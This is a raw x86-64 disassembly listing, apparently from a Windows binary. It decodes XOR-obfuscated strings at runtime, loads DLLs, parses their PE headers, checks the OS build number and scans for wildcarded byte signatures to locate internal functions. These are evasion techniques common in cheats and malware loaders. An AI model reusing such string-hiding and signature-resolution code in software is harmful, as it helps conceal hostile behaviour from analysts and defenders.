movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140031ee0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea r8, [rbp + 0x4370]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1e0], rax
movabs rax, 0x8b3628e555130b5
mov qword [rbp + 0x80f0], rax
movabs rax, 0x11535218e6e9021d
mov qword [rbp + 0x80f8], rax
movabs rax, 0x2145c0c2d6
mov qword [rbp + 0x8100], rax
movabs rcx, 0x509c7fd5006
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6dc110fb162555f2
mov qword [rbp + 0x8130], rax
movabs rax, 0x6236317794b97673
mov qword [rbp + 0x8138], rax
movabs rax, 0x2145a48ba5
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8130]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3190]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140032060
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3190]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1e8], rax
movabs rax, 0xf286a6047c52f82
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1ca41cd4996347d5
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1ad2da07bad70c69
mov qword [rbp + 0x8100], rax
movabs rax, 0x6faeff868b528af5
mov qword [rbp + 0x8108], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x665c030e0ea95bd0
mov qword [rbp + 0x8130], rax
movabs rax, 0x75d65fb1e30a2bb4
mov qword [rbp + 0x8138], rax
movabs rax, 0x79b7896bdbb4651d
mov qword [rbp + 0x8140], rax
movabs rax, 0x6faeff86e53de381
mov qword [rbp + 0x8148], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x5b10]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400321d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
lea r8, [rbp + 0x5b10]
mov rdi, qword [rbp + 0x268]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1f0], rax
movabs rax, 0x105357c7d043c163
mov qword [rbp + 0x80f0], rax
movabs rax, 0x4136d3ae231be3f
mov qword [rbp + 0x80f8], rax
movabs rax, 0x1b5abcf6259175ff
mov qword [rbp + 0x8100], rax
movabs rcx, 0x7ae129f2fa66060
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x752536a29c2fb531
mov qword [rbp + 0x8130], rax
movabs rax, 0x68720e539658cc7c
mov qword [rbp + 0x8138], rax
movabs rax, 0x1b34d39f51f210ac
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4ae0]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140032340
lea r8, [rbp + 0x4ae0]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x1f8], rax
movabs rax, 0x24f4fbeb72fac6c
mov qword [rbp + 0x80f0], rax
movabs rax, 0xb42aa8ff7c42737
mov qword [rbp + 0x80f8], rax
movabs rax, 0x60f4d637a9ce9b2
mov qword [rbp + 0x8100], rax
movabs rcx, 0x15594f344e3e1b7
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x702a3bd0f243d83e
mov qword [rbp + 0x8130], rax
movabs rax, 0x6723c9e683ad5574
mov qword [rbp + 0x8138], rax
movabs rax, 0x661220a0eff8ce1
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x4c60]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140032480
lea r8, [rbp + 0x4c60]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x200], rax
movabs rax, 0x1e4fb2f7e37130ce
mov qword [rbp + 0x80f0], rax
movabs rax, 0x1f21345db648bacc
mov qword [rbp + 0x80f8], rax
mov qword [rbp + 0x8100], r15
movabs rcx, 0xe00000002002c467
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x712bc6828b224480
mov qword [rbp + 0x8130], rax
movabs rax, 0x7244402ecf1bd4bb
mov qword [rbp + 0x8138], rax
mov qword [rbp + 0x8140], r15
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x2e30]
lea rcx, [rbp + 0x30]
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r8, 1
jne 0x1400325b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2e30]
mov rdx, rdi
mov rcx, r12
call fcn.1400511f0
mov qword [r14 + 0x208], rax
mov byte [r14 + 0x210], 0
mov rax, qword [0x1402007b8]
mov qword [r14 + 0x60], rax
mov eax, dword [0x7ffe0260]
mov dword [rbp - 0x60], eax
movabs rcx, 0x2da621576edfc3f
mov qword [rbp + 0x80f0], rcx
movabs rax, 0x396ba40c1f949ad8
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x2cbf107a15808b5b
mov qword [rbp + 0x8110], rax
movabs rax, 0x396ba40c1ff8f6bc
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x13b0]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x13b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x14002dad4
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14002dad4
lea r9, [rdi + 0x108]
add r9, rax
je 0x140032858
movzx eax, word [rax + rdi + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x140032858
movabs rax, 0x285e93d0250aa5
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xabb3cfd35729bd0
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x285ee7a8407e8b
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movaps xmm1, xmmword [rbp - 0x70]
movaps xmm2, xmmword [rbp - 0x80]
movaps xmm3, xmmword [rsp + 0x70]
movaps xmm4, xmmword [rsp + 0x60]
movaps xmm5, xmmword [rsp + 0x50]
movdqa xmm6, xmmword [rbp + 0x80c0]
movdqa xmm7, xmmword [rbp + 0x80b0]
movdqa xmm0, xmm7
pxor xmm0, xmm6
movaps xmmword [rbp + 0x80f0], xmm0
movaps xmmword [rbp + 0x8100], xmm5
movaps xmmword [rbp + 0x8110], xmm4
movaps xmmword [rbp + 0x8120], xmm3
movaps xmmword [rbp + 0x8130], xmm2
movaps xmmword [rbp + 0x8140], xmm1
mov rax, r9
lea r8, [rbp + 0x80f0]
sub r8, r9
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140032833
inc rax
test ecx, ecx
jne 0x140032820
test edx, edx
je 0x140032842
add r9, 0x28
cmp r9, r10
jb 0x1400327e1
jmp 0x140032858
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
add rax, qword [rbp + 0x220]
add rcx, rax
mov qword [r14 + 8], rcx
mov dword [rbp + 0x80b0], 0xcc058d48
mov dword [rbp + 0x80b4], 0x48cccccc
mov dword [rbp + 0x80b8], 0xcc194489
mov dword [rbp + 0x80bc], 0x18438b48
mov dword [rbp + 0x80c0], 0x4486348
mov dword [rbp + 0x80c4], 0xcccc918d
mov dword [rbp + 0x80c8], 0x5489cccc
mov dword [rbp + 0x80cc], 0x8b481419
mov dword [rbp + 0x80d0], 0x63481843
mov dword [rbp + 0x80d4], 0x918d0848
mov dword [rbp + 0x80d8], 0xcccccccc
mov dword [rbp + 0x80dc], 0x14195489
mov dword [rbp + 0x80e0], 0x18438b48
mov byte [rbp + 0x80e4], 0x48
mov dword [rbp + 0x80f0], 0xcc058d48
mov dword [rbp + 0x80f4], 0x48cccccc
mov dword [rbp + 0x80f8], 0xcc194489
mov dword [rbp + 0x80fc], 0x8438b48
mov dword [rbp + 0x8100], 0x4486348
mov dword [rbp + 0x8104], 0xcccc918d
mov dword [rbp + 0x8108], 0x5489cccc
mov dword [rbp + 0x810c], 0x8b480419
mov dword [rbp + 0x8110], 0x63480843
mov dword [rbp + 0x8114], 0x918d0848
mov dword [rbp + 0x8118], 0xcccccccc
mov dword [rbp + 0x811c], 0x4195489
mov dword [rbp + 0x8120], 0x8438b48
mov byte [rbp + 0x8124], 0x48
xor ecx, ecx
mov eax, dword [rbp - 0x60]
cmp eax, 0x4a61
jb 0x140032ccb
lea r8d, [rcx + 0x35]
mov rcx, rdi
cmp eax, 0x4a65
ja 0x140032b3a
lea rdx, [rbp + 0x80b0]
call fcn.140050080
test rax, rax
jne 0x140032b1d
movabs rax, 0x2b8678610b5378
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe7d5ed25c2e7197
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x2b860a0e79213d
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x680], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x690], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x6a0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x6b0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x6c0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x6d0], xmm0
movabs rax, 0x16949b5f0a89f379
mov qword [rbp + 0x80f0], rax
movabs rcx, 0x26e3a2e089304e9
mov qword [rbp + 0x80f8], rcx
xorps xmm1, xmm1
movabs rax, 0x1ca4bb622adebb3a
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
pxor xmm2, xmm1
movaps xmmword [rbp + 0xec0], xmm0
movaps xmmword [rbp + 0xed0], xmm2
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0xee0], xmm0
movaps xmm1, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0xef0], xmm1
movaps xmm0, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0xf00], xmm0
movaps xmm1, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0xf10], xmm1
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0xf20], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0xf30], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0xf40], xmm0
lea r8, [rbp + 0x680]
lea rdx, [rbp + 0xec0]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14002dad4
mov qword [r14 + 0x10], 0x118
mov qword [r14 + 0x18], 0x80
mov qword [r14 + 0x20], __WSAFDIsSet
jmp 0x140032cce
lea rdx, [rbp + 0x80f0]
call fcn.140050080
test rax, rax
jne 0x140032cb1
movabs rax, 0x319fc669bfde60
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe7ff51d5c0fb01e
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x319fb406cdac25
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x6e0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x6f0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x700], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x710], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x720], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x730], xmm0
movabs rax, 0xea247aa879fe136
mov qword [rbp + 0x80f0], rax
movabs rcx, 0x199ccaed5607c029
mov qword [rbp + 0x80f8], rcx
xorps xmm1, xmm1
movabs rax, 0x4926797a7c8a975
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmmword [rbp + 0x2e0], xmm2
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0x2f0], xmm0
movaps xmm1, xmmword [rbp + 0x300]
movaps xmmword [rbp + 0x300], xmm1
movaps xmm0, xmmword [rbp + 0x310]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm1, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x320], xmm1
movaps xmm0, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x330], xmm0
movaps xmm1, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x340], xmm1
movaps xmm0, xmmword [rbp + 0x350]
movaps xmmword [rbp + 0x350], xmm0
lea r8, [rbp + 0x6e0]
lea rdx, [rbp + 0x2d0]
jmp 0x140032afe
mov qword [r14 + 0x10], 0x1b0
mov qword [r14 + 0x18], 0xc0
mov qword [r14 + 0x20], Ordinal_211
jmp 0x140032cce
mov rax, rcx
sub rax, rdi
add rax, qword [rbp + 0x220]
mov qword [r14], rax
je 0x14002dad4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0x1aba226e5a7b167b
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6fc50f1497b0f436
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x7e94105d281e650e
mov qword [rbp + 0x8110], rax
movabs rax, 0x6fc50f1497b0985a
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1300]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rbp + 0x1300]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x140032f0e
movabs rax, 0x32a31936f910fd
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe8488ff13d57ca7
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x32a36b598b62b8
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x740], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x750], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x760], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x770], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x780], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x790], xmm0
movabs rax, 0x49d621f219b
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xda17dd33d23ed
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x49d68704ce8
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x280], xmm0
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x290], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x2a0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x2b0], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x2c0], xmm1
lea r8, [rbp + 0x740]
lea rdx, [rbp + 0x280]
jmp 0x140032afe
mov dword [rbp + 0x80b0], 0x38ec8348
mov dword [rbp + 0x80b4], 0x44db3345
mov dword [rbp + 0x80b8], 0xcccc1d39
mov dword [rbp + 0x80bc], 0x2e74cccc
mov dword [rbp + 0x80c0], 0x48b4865
mov dword [rbp + 0x80c4], 0xcccccc25
mov dword [rbp + 0x80c8], 0x508b4ccc
mov byte [rbp + 0x80cc], 0x48
mov r8d, Ordinal_30
lea rdx, [rbp + 0x80b0]
mov rcx, rdi
call fcn.140050080
mov rcx, rax
sub rcx, rdi
add rcx, rsi
mov qword [r14 + 0x150], rcx
test rax, rax
jne 0x1400330dd
movabs rax, 0x384e8cc3906a28
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe820c0190fc2a7b
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x384efeace2186d
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x7a0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x7b0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x7c0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x7d0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x7e0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x7f0], xmm0
movabs rax, 0x3c0f2909f36e68
mov qword [rbp + 0x80f0], rax
movabs rcx, 0x2408c185b55d7db
mov qword [rbp + 0x80f8], rcx
xorps xmm2, xmm2
movabs rax, 0x363f0934d32c25
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x80f0]
pxor xmm1, xmmword [rbp + 0x8110]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xdb0], xmm1
movaps xmmword [rbp + 0xdc0], xmm2
movaps xmm0, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0xdd0], xmm0
movaps xmm1, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0xde0], xmm1
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0xdf0], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0xe00], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0xe10], xmm0
movaps xmm1, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0xe20], xmm1
lea r8, [rbp + 0x7a0]
lea rdx, [rbp + 0xdb0]
jmp 0x140032afe
mov dword [rbp + 0x80b0], 0x48ec8348
mov dword [rbp + 0x80b4], 0xcc2444c7
mov dword [rbp + 0x80b8], 0xcccccccc
mov dword [rbp + 0x80bc], 0x83ca8b4c
mov dword [rbp + 0x80c0], 0xcccc2464
mov dword [rbp + 0x80c4], 0x83c18b4c
mov word [rbp + 0x80c8], 0x2464
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, [rbp + 0x80b0]
mov rcx, rdi
call fcn.140050080
mov rcx, rax
sub rcx, rdi
add rcx, rsi
mov qword [r14 + 0x148], rcx
test rax, rax
